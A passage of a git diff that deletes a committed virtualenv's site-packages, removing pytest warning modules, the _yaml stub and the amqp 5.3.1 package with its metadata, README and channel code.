"pytest" - - -@final -class PytestCacheWarning(PytestWarning): - """Warning emitted by the cache plugin in various situations.""" - - __module__ = "pytest" - - -@final -class PytestConfigWarning(PytestWarning): - """Warning emitted for configuration issues.""" - - __module__ = "pytest" - - -@final -class PytestCollectionWarning(PytestWarning): - """Warning emitted when pytest is not able to collect a file or symbol in a module.""" - - __module__ = "pytest" - - -class PytestDeprecationWarning(PytestWarning, DeprecationWarning): - """Warning class for features that will be removed in a future version.""" - - __module__ = "pytest" - - -class PytestRemovedIn10Warning(PytestDeprecationWarning): - """Warning class for features that will be removed in pytest 10.""" - - __module__ = "pytest" - - -@final -class PytestExperimentalApiWarning(PytestWarning, FutureWarning): - """Warning category used to denote experiments in pytest. - - Use sparingly as the API might change or even be removed completely in a - future version. - """ - - __module__ = "pytest" - - @classmethod - def simple(cls, apiname: str) -> PytestExperimentalApiWarning: - return cls(f"{apiname} is an experimental api that may change over time") - - -@final -class PytestReturnNotNoneWarning(PytestWarning): - """ - Warning emitted when a test function returns a value other than ``None``. - - See :ref:`return-not-none` for details. - """ - - __module__ = "pytest" - - -@final -class PytestUnknownMarkWarning(PytestWarning): - """Warning emitted on use of unknown markers. - - See :ref:`mark` for details. - """ - - __module__ = "pytest" - - -@final -class PytestUnraisableExceptionWarning(PytestWarning): - """An unraisable exception was reported. - - Unraisable exceptions are exceptions raised in :meth:`__del__ ` - implementations and similar situations when the exception cannot be raised - as normal. - """ - - __module__ = "pytest" - - -@final -class PytestUnhandledThreadExceptionWarning(PytestWarning): - """An unhandled exception occurred in a :class:`~threading.Thread`. - - Such exceptions don't propagate normally. - """ - - __module__ = "pytest" - - -_W = TypeVar("_W", bound=PytestWarning) - - -@final -@dataclasses.dataclass -class UnformattedWarning(Generic[_W]): - """A warning meant to be formatted during runtime. - - This is used to hold warnings that need to format their message at runtime, - as opposed to a direct message. - """ - - category: type[_W] - template: str - - def format(self, **kwargs: Any) -> _W: - """Return an instance of the warning category, formatted with given kwargs.""" - return self.category(self.template.format(**kwargs)) - - -@final -class PytestFDWarning(PytestWarning): - """When the lsof plugin finds leaked fds.""" - - __module__ = "pytest" - - -def warn_explicit_for(method: FunctionType, message: PytestWarning) -> None: - """ - Issue the warning :param:`message` for the definition of the given :param:`method` - - this helps to log warnings for functions defined prior to finding an issue with them - (like hook wrappers being marked in a legacy mechanism) - """ - lineno = method.__code__.co_firstlineno - filename = inspect.getfile(method) - module = method.__module__ - mod_globals = method.__globals__ - try: - warnings.warn_explicit( - message, - type(message), - filename=filename, - module=module, - registry=mod_globals.setdefault("__warningregistry__", {}), - lineno=lineno, - ) - except Warning as w: - # If warnings are errors (e.g. -Werror), location information gets lost, so we add it to the message. - raise type(w)(f"{w}\n at {filename}:{lineno}") from None diff --git a/venv/Lib/site-packages/_pytest/warnings.py b/venv/Lib/site-packages/_pytest/warnings.py deleted file mode 100644 index d599d6c27e65b080f952f6dd2a338e6c19a85330..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/warnings.py +++ /dev/null @@ -1,152 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -from collections.abc import Generator -from contextlib import contextmanager -from contextlib import ExitStack -import sys -from typing import Literal -import warnings - -from _pytest.config import apply_warning_filters -from _pytest.config import Config -from _pytest.config import parse_warning_filter -from _pytest.main import Session -from _pytest.nodes import Item -from _pytest.terminal import TerminalReporter -from _pytest.tracemalloc import tracemalloc_message -import pytest - - -@contextmanager -def catch_warnings_for_item( - config: Config, - ihook, - when: Literal["config", "collect", "runtest"], - item: Item | None, - *, - record: bool = True, -) -> Generator[None]: - """Context manager that catches warnings generated in the contained execution block. - - ``item`` can be None if we are not in the context of an item execution. - - Each warning captured triggers the ``pytest_warning_recorded`` hook. - """ - config_filters = config.getini("filterwarnings") - cmdline_filters = config.known_args_namespace.pythonwarnings or [] - with warnings.catch_warnings(record=record) as log: - if not sys.warnoptions: - # If user is not explicitly configuring warning filters, show deprecation warnings by default (#2908). - warnings.filterwarnings("always", category=DeprecationWarning) - warnings.filterwarnings("always", category=PendingDeprecationWarning) - - # To be enabled in pytest 10.0.0. - # warnings.filterwarnings("error", category=pytest.PytestRemovedIn10Warning) - - apply_warning_filters(config_filters, cmdline_filters) - - # apply filters from "filterwarnings" marks - nodeid = "" if item is None else item.nodeid - if item is not None: - for mark in item.iter_markers(name="filterwarnings"): - for arg in mark.args: - warnings.filterwarnings(*parse_warning_filter(arg, escape=False)) - - try: - yield - finally: - if record: - # mypy can't infer that record=True means log is not None; help it. - assert log is not None - - for warning_message in log: - ihook.pytest_warning_recorded.call_historic( - kwargs=dict( - warning_message=warning_message, - nodeid=nodeid, - when=when, - location=None, - ) - ) - - -def warning_record_to_str(warning_message: warnings.WarningMessage) -> str: - """Convert a warnings.WarningMessage to a string.""" - return warnings.formatwarning( - str(warning_message.message), - warning_message.category, - warning_message.filename, - warning_message.lineno, - warning_message.line, - ) + tracemalloc_message(warning_message.source) - - -@pytest.hookimpl(wrapper=True, tryfirst=True) -def pytest_runtest_protocol(item: Item) -> Generator[None, object, object]: - with catch_warnings_for_item( - config=item.config, ihook=item.ihook, when="runtest", item=item - ): - return (yield) - - -@pytest.hookimpl(wrapper=True, tryfirst=True) -def pytest_collection(session: Session) -> Generator[None, object, object]: - config = session.config - with catch_warnings_for_item( - config=config, ihook=config.hook, when="collect", item=None - ): - return (yield) - - -@pytest.hookimpl(wrapper=True) -def pytest_terminal_summary( - terminalreporter: TerminalReporter, -) -> Generator[None]: - config = terminalreporter.config - with catch_warnings_for_item( - config=config, ihook=config.hook, when="config", item=None - ): - return (yield) - - -@pytest.hookimpl(wrapper=True) -def pytest_sessionfinish(session: Session) -> Generator[None]: - config = session.config - with catch_warnings_for_item( - config=config, ihook=config.hook, when="config", item=None - ): - return (yield) - - -@pytest.hookimpl(wrapper=True) -def pytest_load_initial_conftests( - early_config: Config, -) -> Generator[None]: - with catch_warnings_for_item( - config=early_config, ihook=early_config.hook, when="config", item=None - ): - return (yield) - - -def pytest_configure(config: Config) -> None: - with ExitStack() as stack: - stack.enter_context( - catch_warnings_for_item( - config=config, - ihook=config.hook, - when="config", - item=None, - # this disables recording because the terminalreporter has - # finished by the time it comes to reporting logged warnings - # from the end of config cleanup. So for now, this is only - # useful for setting a warning filter with an 'error' action. - record=False, - ) - ) - config.addinivalue_line( - "markers", - "filterwarnings(warning): add a warning filter to the given test. " - "see https://docs.pytest.org/en/stable/how-to/capture-warnings.html#pytest-mark-filterwarnings ", - ) - config.add_cleanup(stack.pop_all().close) diff --git a/venv/Lib/site-packages/_yaml/__init__.py b/venv/Lib/site-packages/_yaml/__init__.py deleted file mode 100644 index 7baa8c4b68127d5cdf0be9a799429e61347c2694..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_yaml/__init__.py +++ /dev/null @@ -1,33 +0,0 @@ -# This is a stub package designed to roughly emulate the _yaml -# extension module, which previously existed as a standalone module -# and has been moved into the `yaml` package namespace. -# It does not perfectly mimic its old counterpart, but should get -# close enough for anyone who's relying on it even when they shouldn't. -import yaml - -# in some circumstances, the yaml module we imoprted may be from a different version, so we need -# to tread carefully when poking at it here (it may not have the attributes we expect) -if not getattr(yaml, '__with_libyaml__', False): - from sys import version_info - - exc = ModuleNotFoundError if version_info >= (3, 6) else ImportError - raise exc("No module named '_yaml'") -else: - from yaml._yaml import * - import warnings - warnings.warn( - 'The _yaml extension module is now located at yaml._yaml' - ' and its location is subject to change. To use the' - ' LibYAML-based parser and emitter, import from `yaml`:' - ' `from yaml import CLoader as Loader, CDumper as Dumper`.', - DeprecationWarning - ) - del warnings - # Don't `del yaml` here because yaml is actually an existing - # namespace member of _yaml. - -__name__ = '_yaml' -# If the module is top-level (i.e. not a part of any specific package) -# then the attribute should be set to ''. -# https://docs.python.org/3.8/library/types.html -__package__ = '' diff --git a/venv/Lib/site-packages/amqp-5.3.1.dist-info/INSTALLER b/venv/Lib/site-packages/amqp-5.3.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp-5.3.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/amqp-5.3.1.dist-info/LICENSE b/venv/Lib/site-packages/amqp-5.3.1.dist-info/LICENSE deleted file mode 100644 index 46087c2a76b65ddf8b1d157e1abf266f1d1c84de..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp-5.3.1.dist-info/LICENSE +++ /dev/null @@ -1,47 +0,0 @@ -Copyright (c) 2015-2016 Ask Solem & contributors. All rights reserved. -Copyright (c) 2012-2014 GoPivotal, Inc. All rights reserved. -Copyright (c) 2009, 2010, 2011, 2012 Ask Solem, and individual contributors. All rights reserved. -Copyright (C) 2007-2008 Barry Pederson . All rights reserved. - -py-amqp is licensed under The BSD License (3 Clause, also known as -the new BSD license). The license is an OSI approved Open Source -license and is GPL-compatible(1). - -The license text can also be found here: -http://www.opensource.org/licenses/BSD-3-Clause - -License -======= - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - * Neither the name of Ask Solem, nor the - names of its contributors may be used to endorse or promote products - derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Ask Solem OR CONTRIBUTORS -BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. - - -Footnotes -========= -(1) A GPL-compatible license makes it possible to - combine Celery with other software that is released - under the GPL, it does not mean that we're distributing - Celery under the GPL license. The BSD license, unlike the GPL, - let you distribute a modified version without making your - changes open source. diff --git a/venv/Lib/site-packages/amqp-5.3.1.dist-info/METADATA b/venv/Lib/site-packages/amqp-5.3.1.dist-info/METADATA deleted file mode 100644 index aa9227f561ca58db093a3c7b9c121649a5d78aeb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp-5.3.1.dist-info/METADATA +++ /dev/null @@ -1,239 +0,0 @@ -Metadata-Version: 2.1 -Name: amqp -Version: 5.3.1 -Summary: Low-level AMQP client for Python (fork of amqplib). -Home-page: http://github.com/celery/py-amqp -Author: Barry Pederson -Author-email: auvipy@gmail.com -Maintainer: Asif Saif Uddin, Matus Valo -License: BSD -Keywords: amqp rabbitmq cloudamqp messaging -Platform: any -Classifier: Development Status :: 5 - Production/Stable -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: License :: OSI Approved :: BSD License -Classifier: Intended Audience :: Developers -Classifier: Operating System :: OS Independent -Requires-Python: >=3.6 -Description-Content-Type: text/x-rst -License-File: LICENSE -Requires-Dist: vine<6.0.0,>=5.0.0 - -===================================================================== - Python AMQP 0.9.1 client library -===================================================================== - -|build-status| |coverage| |license| |wheel| |pyversion| |pyimp| - -:Version: 5.3.1 -:Web: https://amqp.readthedocs.io/ -:Download: https://pypi.org/project/amqp/ -:Source: http://github.com/celery/py-amqp/ -:Keywords: amqp, rabbitmq - -About -===== - -This is a fork of amqplib_ which was originally written by Barry Pederson. -It is maintained by the Celery_ project, and used by `kombu`_ as a pure python -alternative when `librabbitmq`_ is not available. - -This library should be API compatible with `librabbitmq`_. - -.. _amqplib: https://pypi.org/project/amqplib/ -.. _Celery: http://celeryproject.org/ -.. _kombu: https://kombu.readthedocs.io/ -.. _librabbitmq: https://pypi.org/project/librabbitmq/ - -Differences from `amqplib`_ -=========================== - -- Supports draining events from multiple channels (``Connection.drain_events``) -- Support for timeouts -- Channels are restored after channel error, instead of having to close the - connection. -- Support for heartbeats - - - ``Connection.heartbeat_tick(rate=2)`` must called at regular intervals - (half of the heartbeat value if rate is 2). - - Or some other scheme by using ``Connection.send_heartbeat``. -- Supports RabbitMQ extensions: - - Consumer Cancel Notifications - - by default a cancel results in ``ChannelError`` being raised - - but not if a ``on_cancel`` callback is passed to ``basic_consume``. - - Publisher confirms - - ``Channel.confirm_select()`` enables publisher confirms. - - ``Channel.events['basic_ack'].append(my_callback)`` adds a callback - to be called when a message is confirmed. This callback is then - called with the signature ``(delivery_tag, multiple)``. - - Exchange-to-exchange bindings: ``exchange_bind`` / ``exchange_unbind``. - - ``Channel.confirm_select()`` enables publisher confirms. - - ``Channel.events['basic_ack'].append(my_callback)`` adds a callback - to be called when a message is confirmed. This callback is then - called with the signature ``(delivery_tag, multiple)``. - - Authentication Failure Notifications - Instead of just closing the connection abruptly on invalid - credentials, py-amqp will raise an ``AccessRefused`` error - when connected to rabbitmq-server 3.2.0 or greater. -- Support for ``basic_return`` -- Uses AMQP 0-9-1 instead of 0-8. - - ``Channel.access_request`` and ``ticket`` arguments to methods - **removed**. - - Supports the ``arguments`` argument to ``basic_consume``. - - ``internal`` argument to ``exchange_declare`` removed. - - ``auto_delete`` argument to ``exchange_declare`` deprecated - - ``insist`` argument to ``Connection`` removed. - - ``Channel.alerts`` has been removed. - - Support for ``Channel.basic_recover_async``. - - ``Channel.basic_recover`` deprecated. -- Exceptions renamed to have idiomatic names: - - ``AMQPException`` -> ``AMQPError`` - - ``AMQPConnectionException`` -> ConnectionError`` - - ``AMQPChannelException`` -> ChannelError`` - - ``Connection.known_hosts`` removed. - - ``Connection`` no longer supports redirects. - - ``exchange`` argument to ``queue_bind`` can now be empty - to use the "default exchange". -- Adds ``Connection.is_alive`` that tries to detect - whether the connection can still be used. -- Adds ``Connection.connection_errors`` and ``.channel_errors``, - a list of recoverable errors. -- Exposes the underlying socket as ``Connection.sock``. -- Adds ``Channel.no_ack_consumers`` to keep track of consumer tags - that set the no_ack flag. -- Slightly better at error recovery - -Quick overview -============== - -Simple producer publishing messages to ``test`` queue using default exchange: - -.. code:: python - - import amqp - - with amqp.Connection('broker.example.com') as c: - ch = c.channel() - ch.basic_publish(amqp.Message('Hello World'), routing_key='test') - -Producer publishing to ``test_exchange`` exchange with publisher confirms enabled and using virtual_host ``test_vhost``: - -.. code:: python - - import amqp - - with amqp.Connection( - 'broker.example.com', exchange='test_exchange', - confirm_publish=True, virtual_host='test_vhost' - ) as c: - ch = c.channel() - ch.basic_publish(amqp.Message('Hello World'), routing_key='test') - -Consumer with acknowledgments enabled: - -.. code:: python - - import amqp - - with amqp.Connection('broker.example.com') as c: - ch = c.channel() - def on_message(message): - print('Received message (delivery tag: {}): {}'.format(message.delivery_tag, message.body)) - ch.basic_ack(message.delivery_tag) - ch.basic_consume(queue='test', callback=on_message) - while True: - c.drain_events() - - -Consumer with acknowledgments disabled: - -.. code:: python - - import amqp - - with amqp.Connection('broker.example.com') as c: - ch = c.channel() - def on_message(message): - print('Received message (delivery tag: {}): {}'.format(message.delivery_tag, message.body)) - ch.basic_consume(queue='test', callback=on_message, no_ack=True) - while True: - c.drain_events() - -Speedups -======== - -This library has **experimental** support of speedups. Speedups are implemented using Cython. To enable speedups, ``CELERY_ENABLE_SPEEDUPS`` environment variable must be set during building/installation. -Currently speedups can be installed: - -1. using source package (using ``--no-binary`` switch): - -.. code:: shell - - CELERY_ENABLE_SPEEDUPS=true pip install --no-binary :all: amqp - - -2. building directly source code: - -.. code:: shell - - CELERY_ENABLE_SPEEDUPS=true python setup.py install - -Further -======= - -- Differences between AMQP 0.8 and 0.9.1 - - http://www.rabbitmq.com/amqp-0-8-to-0-9-1.html - -- AMQP 0.9.1 Quick Reference - - http://www.rabbitmq.com/amqp-0-9-1-quickref.html - -- RabbitMQ Extensions - - http://www.rabbitmq.com/extensions.html - -- For more information about AMQP, visit - - http://www.amqp.org - -- For other Python client libraries see: - - http://www.rabbitmq.com/devtools.html#python-dev - -.. |build-status| image:: https://github.com/celery/py-amqp/actions/workflows/ci.yaml/badge.svg - :alt: Build status - :target: https://github.com/celery/py-amqp/actions/workflows/ci.yaml - -.. |coverage| image:: https://codecov.io/github/celery/py-amqp/coverage.svg?branch=main - :target: https://codecov.io/github/celery/py-amqp?branch=main - -.. |license| image:: https://img.shields.io/pypi/l/amqp.svg - :alt: BSD License - :target: https://opensource.org/licenses/BSD-3-Clause - -.. |wheel| image:: https://img.shields.io/pypi/wheel/amqp.svg - :alt: Python AMQP can be installed via wheel - :target: https://pypi.org/project/amqp/ - -.. |pyversion| image:: https://img.shields.io/pypi/pyversions/amqp.svg - :alt: Supported Python versions. - :target: https://pypi.org/project/amqp/ - -.. |pyimp| image:: https://img.shields.io/pypi/implementation/amqp.svg - :alt: Support Python implementations. - :target: https://pypi.org/project/amqp/ - -py-amqp as part of the Tidelift Subscription -============================================ - -The maintainers of py-amqp and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. [Learn more.](https://tidelift.com/subscription/pkg/pypi-amqp?utm_source=pypi-amqp&utm_medium=referral&utm_campaign=readme&utm_term=repo) - diff --git a/venv/Lib/site-packages/amqp-5.3.1.dist-info/RECORD b/venv/Lib/site-packages/amqp-5.3.1.dist-info/RECORD deleted file mode 100644 index dfcd9e178975f8e1675fa62c697e2acdc02e3bed..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp-5.3.1.dist-info/RECORD +++ /dev/null @@ -1,34 +0,0 @@ -amqp-5.3.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -amqp-5.3.1.dist-info/LICENSE,sha256=9e9fEoLq4ZMcdGRfhxm2xps9aizyd7_aJJqCcM1HOvM,2372 -amqp-5.3.1.dist-info/METADATA,sha256=sv93q3ZseR0T9pcxMMq8Jt_pxL0PNI_cbKA48tbprNM,8887 -amqp-5.3.1.dist-info/RECORD,, -amqp-5.3.1.dist-info/WHEEL,sha256=a7TGlA-5DaHMRrarXjVbQagU3Man_dCnGIWMJr5kRWo,91 -amqp-5.3.1.dist-info/top_level.txt,sha256=tWQNmFVhU4UtDgB6Yy2lKqRz7LtOrRcN8_bPFVcVVR8,5 -amqp/__init__.py,sha256=QvARRZLvrDJRy_JCybG6TmprblyQPyF1pzIgR3fNRv4,2357 -amqp/__pycache__/__init__.cpython-314.pyc,, -amqp/__pycache__/abstract_channel.cpython-314.pyc,, -amqp/__pycache__/basic_message.cpython-314.pyc,, -amqp/__pycache__/channel.cpython-314.pyc,, -amqp/__pycache__/connection.cpython-314.pyc,, -amqp/__pycache__/exceptions.cpython-314.pyc,, -amqp/__pycache__/method_framing.cpython-314.pyc,, -amqp/__pycache__/platform.cpython-314.pyc,, -amqp/__pycache__/protocol.cpython-314.pyc,, -amqp/__pycache__/sasl.cpython-314.pyc,, -amqp/__pycache__/serialization.cpython-314.pyc,, -amqp/__pycache__/spec.cpython-314.pyc,, -amqp/__pycache__/transport.cpython-314.pyc,, -amqp/__pycache__/utils.cpython-314.pyc,, -amqp/abstract_channel.py,sha256=D_OEWvX48yKUzMYm_sN-IDRQmqIGvegi9KlJriqttBc,4941 -amqp/basic_message.py,sha256=Q8DV31tuuphloTETPHiJFwNg6b5M6pccJ0InJ4MZUz8,3357 -amqp/channel.py,sha256=XzCuKPy9qFMiTsnqksKpFIh9PUcKZm3uIXm1RFCeZQs,74475 -amqp/connection.py,sha256=8vsfpVTsTJBS-uu_SEEEuT-RXMk_IX_jCldOHP-oDlo,27541 -amqp/exceptions.py,sha256=yqjoFIRue2rvK7kMdvkKsGOD6dMOzzzT3ZzBwoGWAe4,7166 -amqp/method_framing.py,sha256=avnw90X9t4995HpHoZV4-1V73UEbzUKJ83pHEicAqWY,6734 -amqp/platform.py,sha256=cyLevv6E15P9zhMo_fV84p67Q_A8fdsTq9amjvlUwqE,2379 -amqp/protocol.py,sha256=Di3y6qqhnOV4QtkeYKO-zryfWqwl3F1zUxDOmVSsAp0,291 -amqp/sasl.py,sha256=6AbsnxlbAyoiYxDezoQTfm-E0t_TJyHXpqGJ0KlPkI4,5986 -amqp/serialization.py,sha256=xzzXmmQ45fGUuSCxGTEMizmRQTmzaz3Z7YYfpxmfXuY,17162 -amqp/spec.py,sha256=2ZjbL4FR4Fv67HA7HUI9hLUIvAv3A4ZH6GRPzrMRyWg,2121 -amqp/transport.py,sha256=tG50r-ybeXGwe3SoA5BacNY9BzRJnRn7BZs3XBuKwO0,23046 -amqp/utils.py,sha256=JjjY040LwsDUc1zmKP2VTzXBioVXy48DUZtWB8PaPy0,1456 diff --git a/venv/Lib/site-packages/amqp-5.3.1.dist-info/WHEEL b/venv/Lib/site-packages/amqp-5.3.1.dist-info/WHEEL deleted file mode 100644 index b4c88db7f9f2ee6733795c6150391bbc10dddb36..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp-5.3.1.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (75.4.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/amqp-5.3.1.dist-info/top_level.txt b/venv/Lib/site-packages/amqp-5.3.1.dist-info/top_level.txt deleted file mode 100644 index 5e610d3486967ec4d6cb9a31f84bc996ca409a30..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp-5.3.1.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -amqp diff --git a/venv/Lib/site-packages/amqp/__init__.py b/venv/Lib/site-packages/amqp/__init__.py deleted file mode 100644 index 2f4841e4a6976f8474e002959a285cb8079699bb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/__init__.py +++ /dev/null @@ -1,75 +0,0 @@ -"""Low-level AMQP client for Python (fork of amqplib).""" -# Copyright (C) 2007-2008 Barry Pederson - -import re -from collections import namedtuple - -__version__ = '5.3.1' -__author__ = 'Barry Pederson' -__maintainer__ = 'Asif Saif Uddin, Matus Valo' -__contact__ = 'auvipy@gmail.com' -__homepage__ = 'http://github.com/celery/py-amqp' -__docformat__ = 'restructuredtext' - -# -eof meta- - -version_info_t = namedtuple('version_info_t', ( - 'major', 'minor', 'micro', 'releaselevel', 'serial', -)) - -# bumpversion can only search for {current_version} -# so we have to parse the version here. -_temp = re.match( - r'(\d+)\.(\d+).(\d+)(.+)?', __version__).groups() -VERSION = version_info = version_info_t( - int(_temp[0]), int(_temp[1]), int(_temp[2]), _temp[3] or '', '') -del(_temp) -del(re) - -from .basic_message import Message # noqa -from .channel import Channel # noqa -from .connection import Connection # noqa -from .exceptions import (AccessRefused, AMQPError, # noqa - AMQPNotImplementedError, ChannelError, ChannelNotOpen, - ConnectionError, ConnectionForced, ConsumerCancelled, - ContentTooLarge, FrameError, FrameSyntaxError, - InternalError, InvalidCommand, InvalidPath, - IrrecoverableChannelError, - IrrecoverableConnectionError, NoConsumers, NotAllowed, - NotFound, PreconditionFailed, RecoverableChannelError, - RecoverableConnectionError, ResourceError, - ResourceLocked, UnexpectedFrame, error_for_code) -from .utils import promise # noqa - -__all__ = ( - 'Connection', - 'Channel', - 'Message', - 'promise', - 'AMQPError', - 'ConnectionError', - 'RecoverableConnectionError', - 'IrrecoverableConnectionError', - 'ChannelError', - 'RecoverableChannelError', - 'IrrecoverableChannelError', - 'ConsumerCancelled', - 'ContentTooLarge', - 'NoConsumers', - 'ConnectionForced', - 'InvalidPath', - 'AccessRefused', - 'NotFound', - 'ResourceLocked', - 'PreconditionFailed', - 'FrameError', - 'FrameSyntaxError', - 'InvalidCommand', - 'ChannelNotOpen', - 'UnexpectedFrame', - 'ResourceError', - 'NotAllowed', - 'AMQPNotImplementedError', - 'InternalError', - 'error_for_code', -) diff --git a/venv/Lib/site-packages/amqp/abstract_channel.py b/venv/Lib/site-packages/amqp/abstract_channel.py deleted file mode 100644 index ae95a89e5c749caea3a6a474530b477c2c16f993..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/abstract_channel.py +++ /dev/null @@ -1,163 +0,0 @@ -"""Code common to Connection and Channel objects.""" -# Copyright (C) 2007-2008 Barry Pederson ) - -import logging - -from vine import ensure_promise, promise - -from .exceptions import AMQPNotImplementedError, RecoverableConnectionError -from .serialization import dumps, loads - -__all__ = ('AbstractChannel',) - -AMQP_LOGGER = logging.getLogger('amqp') - -IGNORED_METHOD_DURING_CHANNEL_CLOSE = """\ -Received method %s during closing channel %s. This method will be ignored\ -""" - - -class AbstractChannel: - """Superclass for Connection and Channel. - - The connection is treated as channel 0, then comes - user-created channel objects. - - The subclasses must have a _METHOD_MAP class property, mapping - between AMQP method signatures and Python methods. - """ - - def __init__(self, connection, channel_id): - self.is_closing = False - self.connection = connection - self.channel_id = channel_id - connection.channels[channel_id] = self - self.method_queue = [] # Higher level queue for methods - self.auto_decode = False - self._pending = {} - self._callbacks = {} - - self._setup_listeners() - - __slots__ = ( - "is_closing", - "connection", - "channel_id", - "method_queue", - "auto_decode", - "_pending", - "_callbacks", - # adding '__dict__' to get dynamic assignment - "__dict__", - "__weakref__", - ) - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - self.close() - - def send_method(self, sig, - format=None, args=None, content=None, - wait=None, callback=None, returns_tuple=False): - p = promise() - conn = self.connection - if conn is None: - raise RecoverableConnectionError('connection already closed') - args = dumps(format, args) if format else '' - try: - conn.frame_writer(1, self.channel_id, sig, args, content) - except StopIteration: - raise RecoverableConnectionError('connection already closed') - - # TODO temp: callback should be after write_method ... ;) - if callback: - p.then(callback) - p() - if wait: - return self.wait(wait, returns_tuple=returns_tuple) - return p - - def close(self): - """Close this Channel or Connection.""" - raise NotImplementedError('Must be overridden in subclass') - - def wait(self, method, callback=None, timeout=None, returns_tuple=False): - p = ensure_promise(callback) - pending = self._pending - prev_p = [] - if not isinstance(method, list): - method = [method] - - for m in method: - prev_p.append(pending.get(m)) - pending[m] = p - - try: - while not p.ready: - self.connection.drain_events(timeout=timeout) - - if p.value: - args, kwargs = p.value - args = args[1:] # We are not returning method back - return args if returns_tuple else (args and args[0]) - finally: - for i, m in enumerate(method): - if prev_p[i] is not None: - pending[m] = prev_p[i] - else: - pending.pop(m, None) - - def dispatch_method(self, method_sig, payload, content): - if self.is_closing and method_sig not in ( - self._ALLOWED_METHODS_WHEN_CLOSING - ): - # When channel.close() was called we must ignore all methods except - # Channel.close and Channel.CloseOk - AMQP_LOGGER.warning( - IGNORED_METHOD_DURING_CHANNEL_CLOSE, - method_sig, self.channel_id - ) - return - - if content and \ - self.auto_decode and \ - hasattr(content, 'content_encoding'): - try: - content.body = content.body.decode(content.content_encoding) - except Exception: - pass - - try: - amqp_method = self._METHODS[method_sig] - except KeyError: - raise AMQPNotImplementedError( - f'Unknown AMQP method {method_sig!r}') - - try: - listeners = [self._callbacks[method_sig]] - except KeyError: - listeners = [] - one_shot = None - try: - one_shot = self._pending.pop(method_sig) - except KeyError: - if not listeners: - return - - args = [] - if amqp_method.args: - args, _ = loads(amqp_method.args, payload, 4) - if amqp_method.content: - args.append(content) - - for listener in listeners: - listener(*args) - - if one_shot: - one_shot(method_sig, *args) - - #: Placeholder, the concrete implementations will have to - #: supply their own versions of _METHOD_MAP - _METHODS = {} diff --git a/venv/Lib/site-packages/amqp/basic_message.py b/venv/Lib/site-packages/amqp/basic_message.py deleted file mode 100644 index cee0515d584f5cca97a3e8598e10ed893454385f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/basic_message.py +++ /dev/null @@ -1,122 +0,0 @@ -"""AMQP Messages.""" -# Copyright (C) 2007-2008 Barry Pederson -from .serialization import GenericContent -# Intended to fix #85: ImportError: cannot import name spec -# Encountered on python 2.7.3 -# "The submodules often need to refer to each other. For example, the -# surround [sic] module might use the echo module. In fact, such -# references are so common that the import statement first looks in -# the containing package before looking in the standard module search -# path." -# Source: -# http://stackoverflow.com/a/14216937/4982251 -from .spec import Basic - -__all__ = ('Message',) - - -class Message(GenericContent): - """A Message for use with the Channel.basic_* methods. - - Expected arg types - - body: string - children: (not supported) - - Keyword properties may include: - - content_type: shortstr - MIME content type - - content_encoding: shortstr - MIME content encoding - - application_headers: table - Message header field table, a dict with string keys, - and string | int | Decimal | datetime | dict values. - - delivery_mode: octet - Non-persistent (1) or persistent (2) - - priority: octet - The message priority, 0 to 9 - - correlation_id: shortstr - The application correlation identifier - - reply_to: shortstr - The destination to reply to - - expiration: shortstr - Message expiration specification - - message_id: shortstr - The application message identifier - - timestamp: unsigned long - The message timestamp - - type: shortstr - The message type name - - user_id: shortstr - The creating user id - - app_id: shortstr - The creating application id - - cluster_id: shortstr - Intra-cluster routing identifier - - Unicode bodies are encoded 